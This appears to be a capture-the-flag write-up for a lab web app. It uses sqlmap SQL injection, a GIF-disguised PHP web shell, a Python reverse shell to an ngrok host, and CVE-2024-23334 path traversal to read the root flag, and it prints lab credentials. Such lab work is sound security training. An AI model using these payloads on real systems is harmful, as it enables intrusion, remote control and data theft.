ChallengeWriteup

Day 10 Challenge Writeups

Cover Image for Day 10 Challenge Writeups
Team
Team

Vulnbydefault Day 10 Writeup

On opening the site we have given the following interface

image.png

lets check the register page

image.png

image.png

Lets check food details

image.png

In url we can see the id paramter

http://127.0.0.1/details.php?id=3

Lets check for sqli

First copy the request to file

image.png

sqlmap -r food.req --level 3 --risk 3 --dbms=mysql --batch

image.png

we have got sqli

image.png

Flag1

sqlmap -r food.req --level 3 --risk 3 --dbms=mysql --batch --dump

image.png

FLAG 2

We also got admin user hash from database

image.png

lets use this password to login into admin panel

admin:flashback

image.png

RCE

Lets add an item and try to intercept the request

image.png

Following is the request

image.png

Lets check for file upload

echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif

Lets upload this file

image.png

we can the path of image

image.png

Lets open that image file

image.png

Lets check for ?cmd=id

image.png

Lets take reverse shell payload

http://127.0.0.1/images/67d29be641bdd.gif?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.tcp.in.ngrok.io",10242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

image.png

Lets check the network activity

image.png

Lets check db.php

image.png

Flag 3

Lets use developer password

developer:letss33y0uinr00td1r3ct0ry

image.png

Lets check the sudo privileges of developer user

image.png

Lets check for cronjobs

image.png

we can see the password of manager

user.txt

manager:r00tm3l3tss33

image.png

Lets check network connections using netstat

image.png

Lets port forward this port we have added relais in machine

relais tunnel -p 1337 &

image.png

Flag 4

image.png

root.txt

lets check the response of server

curl -v http://127.0.0.1:1337

image.png

On searching this version on internet we have found that it is vulnerable to lfi

CVE-2024-23334

image.png

By default, curl normalizes URLs by resolving .. path components, effectively preventing directory traversal attempts. Use --path-as-is .This option tells curl to send the path exactly as provided without normalizing it.

image.png

Now lets just check the root flag

curl --path-as-is 'http://127.0.0.1:1337/../../../../../root/root.txt'

image.png